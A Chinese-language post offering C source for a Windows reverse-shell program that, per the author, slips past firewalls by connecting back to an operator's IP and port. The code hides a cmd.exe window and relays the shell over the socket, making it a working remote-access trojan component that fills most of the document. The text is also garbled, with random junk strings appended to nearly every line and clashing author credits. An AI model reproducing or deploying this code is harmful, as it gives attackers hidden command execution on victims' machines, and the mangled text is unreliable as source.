这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y6T{/!
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/* ============================== pgs<Mo$\%B
Rebound port in Windows NT VUOe7c=
By wind,2006/7 j`+{FCB7
===============================*/ #.vp\W
#include I%b5a`7
#include w}s5=>QG%
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#pragma comment(lib,"wsock32.lib") ]E)D})r`#
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void OutputShell(); :9e4(7~ona
SOCKET sClient; mM~&mAa+Z
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }57Jn5&'
h(^c5#.
void main(int argc,char **argv) / U!xh3
{ z "z
WSADATA stWsaData; 7H|0.
int nRet; *^Ro I
SOCKADDR_IN stSaiClient,stSaiServer; 0~P]Fw^w
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if(argc != 3) ?2R!n"m-d
{ =$%-RX7
printf("Useage:\n\rRebound DestIP DestPort\n"); A-d<[@d0
return; G$luGxl[
} gvPHB+#A
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WSAStartup(MAKEWORD(2,2),&stWsaData); BS?i!Bm 7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <FAbImE}
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stSaiClient.sin_family = AF_INET; Aar]eY\
stSaiClient.sin_port = htons(0); 0!RP7Sx
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '+ mI
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ujqnl>l
{ 0l/7JH_@V
printf("Bind Socket Failed!\n"); 2
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return; `z.sWF|f!O
} 6)W8H X~+
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stSaiServer.sin_family = AF_INET; %%I:L~c
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ui-Y`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D=Nt0y
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :;TF_Sv
{ Yakrsi/jV}
printf("Connect Error!"); TaaCl#g$?
return; P.g./8N`z
} qrjSG%i~J7
OutputShell(); &;WK=#
} L_|iQwU%
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void OutputShell() O2yD{i#l*#
{ DZLEx{cm
char szBuff[1024]; ,aq>9\pi
SECURITY_ATTRIBUTES stSecurityAttributes; N)a5~<fBG
OSVERSIONINFO stOsversionInfo; [Jjo H1E@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M?;YpaSe+
STARTUPINFO stStartupInfo; nv7)X2jja
char *szShell; "pcr-?L
PROCESS_INFORMATION stProcessInformation; pIug$Ke_%
unsigned long lBytesRead; H#WqO<<v
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3RI6+Cgmn
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9eE
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stSecurityAttributes.lpSecurityDescriptor = 0; ^^24a_+2
stSecurityAttributes.bInheritHandle = TRUE; LaZ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jq_4x[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); V\Y,4&bI
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,%zE>^~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #N'9F&:V$
stStartupInfo.wShowWindow = SW_HIDE; u[4h|*'"|
stStartupInfo.hStdInput = hReadPipe; |oX9SU l
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /,j'Vr\"
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GetVersionEx(&stOsversionInfo); mi5bk>o
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switch(stOsversionInfo.dwPlatformId) KV'3\`v@LY
{ E0aFHC[
case 1: c=a;<,Rzb
szShell = "command.com"; %m/5!
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break; Jvj* z6/a
default: Uxe]T
szShell = "cmd.exe"; Y(ClG*6 ++
break; vS:=%@c>ta
} )7AjRtb!/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); EpCNp FQT<
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send(sClient,szMsg,77,0); ]n'.}"8Kn
while(1) yM(ezb
{ 8{7'w|/;.{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); up~p_{x)Q
if(lBytesRead) <~svy)Cz
{ .Rb1%1bdc
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8Bxb~*
send(sClient,szBuff,lBytesRead,0); CHL5@gg@>y
} mM+^v[=
else WS1Y maV
{ DIhV;[\
lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; z~1S/,Ca
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $z5C+K@
} O\@0o|NM
} `V*$pHo
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return; ?fpI,WFu
}